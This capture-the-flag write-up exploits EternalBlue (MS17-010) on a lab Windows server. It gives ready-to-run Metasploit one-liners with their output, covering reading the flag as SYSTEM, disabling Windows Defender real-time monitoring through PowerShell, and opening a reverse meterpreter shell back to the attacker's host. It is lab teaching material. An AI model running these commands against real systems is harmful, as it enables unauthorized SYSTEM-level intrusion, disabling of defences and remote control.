

Description:

In this challenge, your task is to exploit a critical vulnerability in the SMBv1 protocol, known as **MS17-010**, or more commonly as "**EternalBlue**." This vulnerability allows attackers to execute arbitrary code on a remote machine with elevated privileges. It was infamously used in the **WannaCry** ransomware attack in 2017.

You have gained access to an internal network where a machine running Windows has been identified. Your objective is to gain control over this machine by leveraging the **MS17-010 vulnerability**.

Flag will be in: `c:\users\administrator\desktop\flag.txt`

Attacking

VPN

```
sudo openvpn hack-camp.ovpn
```

Info Gathering

- Nmap ofc habibi

```
sudo nmap --open 10.10.0.61
```

```

(invicta@kali)-[~/ptCamp]
$ sudo nmap --open 10.10.0.61
[sudo] password for invicta:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 12:25 MSK
Nmap scan report for 10.10.0.61
Host is up (0.010s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

```

Exploitation

We can use the auxiliary script instead of the exploit, as perhaps there's some AV enabled a.k.a (Windows Defender)

```

sudo msfconsole -q -x 'use auxiliary/admin/smb/ms17_010_command;set RHOSTS
10.10.0.61; set LHOST tun0;set command type
"c:\users\administrator\desktop\flag.txt"; run'

```

and we get the flag

```

(invicta@kali)-[~/ptCamp]
$ sudo msfconsole -q -x 'use auxiliary/admin/smb/ms17_010_command;set RHOSTS 10.10.0.61; set LHOST tun0;set command type "c:\users\administrator\desktop\flag.txt"; run'
[*] Starting persistent handler(s) ...
RHOSTS => 10.10.0.61
[!] Unknown datastore option: LHOST. Did you mean RHOST?
LHOST => tun0
command => type c:\users\administrator\desktop\flag.txt
[*] 10.10.0.61:445 - Target OS: Windows Server 2016 Standard Evaluation 14393
[*] 10.10.0.61:445 - Built a write-what-where primitive ...
[*] 10.10.0.61:445 - Overwrite complete ... SYSTEM session obtained!
[*] 10.10.0.61:445 - Service start timed out, OK if running a command or non-service executable ...
[*] 10.10.0.61:445 - Getting the command output ...
[*] 10.10.0.61:445 - Executing cleanup ...
[*] 10.10.0.61:445 - Cleanup was successful
[*] 10.10.0.61:445 - Command completed successfully!
[*] 10.10.0.61:445 - Output for "type c:\users\administrator\desktop\flag.txt":
flag{wcyberedjqnce4iw79e7wl41vs1qe83r}

[*] 10.10.0.61:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

Going beyond the Task....

Windows Defender likes to bother us... lets disable it!

Continuing with the previous auxiliary payload: `auxiliary(admin/smb/ms17_010_command)`

we disable the AV with this command:

```
set COMMAND 'powershell.exe -nop -c "Set-MpPreference -DisableRealtimeMonitoring $true"
```

and we run it

```
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND 'powershell.exe -nop -c "Set-MpPreference -DisableRealtimeMonitoring $true"'
COMMAND => powershell.exe -nop -c "Set-MpPreference -DisableRealtimeMonitoring $true"
msf6 auxiliary(admin/smb/ms17_010_command) > run
[-] Unknown command: run. Did you mean run? Run the help command for more details.
msf6 auxiliary(admin/smb/ms17_010_command) > run

[*] 10.10.0.61:445 - Target OS: Windows Server 2016 Standard Evaluation 14393
[*] 10.10.0.61:445 - Built a write-what-where primitive...
[+] 10.10.0.61:445 - Overwrite complete... SYSTEM session obtained!
[+] 10.10.0.61:445 - Service start timed out, OK if running a command or non-service executable...
[-] 10.10.0.61:445 - Unable to get handle: The server responded with error: STATUS_SHARING_VIOLATION (Command=45 WordCount=0)
[-] 10.10.0.61:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 10.10.0.61:445 - Getting the command output...
[*] 10.10.0.61:445 - Command finished with no output
[*] 10.10.0.61:445 - Executing cleanup...
[+] 10.10.0.61:445 - Cleanup was successful
[+] 10.10.0.61:445 - Command completed successfully!
[*] 10.10.0.61:445 - Output for "powershell.exe -nop -c "Set-MpPreference -DisableRealtimeMonitoring $true"":

[*] 10.10.0.61:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Great,

Now we can use the exploit to establish a reverse shell

```
sudo msfconsole -q -x 'use exploit/windows/smb/ms17_010_psexec; set RHOSTS 10.10.0.61; set LHOST tun0; run'
```

and we got a meterpreter session

```
(invicta@kali)~[~/ptCamp]
$ sudo msfconsole -q -x 'use exploit/windows/smb/ms17_010_psexec; set RHOSTS 10.10.0.61; set LHOST tun0; run'
[*] Starting persistent handler(s)...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
RHOSTS => 10.10.0.61
LHOST => tun0
[*] Started reverse TCP handler on 100.100.0.33:4444
[*] 10.10.0.61:445 - Target OS: Windows Server 2016 Standard Evaluation 14393
[*] 10.10.0.61:445 - Built a write-what-where primitive...
[+] 10.10.0.61:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.0.61:445 - Selecting PowerShell target
[*] 10.10.0.61:445 - Executing the payload...
[+] 10.10.0.61:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (176198 bytes) to 10.10.0.61
[*] Meterpreter session 1 opened (100.100.0.33:4444 -> 10.10.0.61:49872) at 2024-08-19 13:09:16 +0300

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```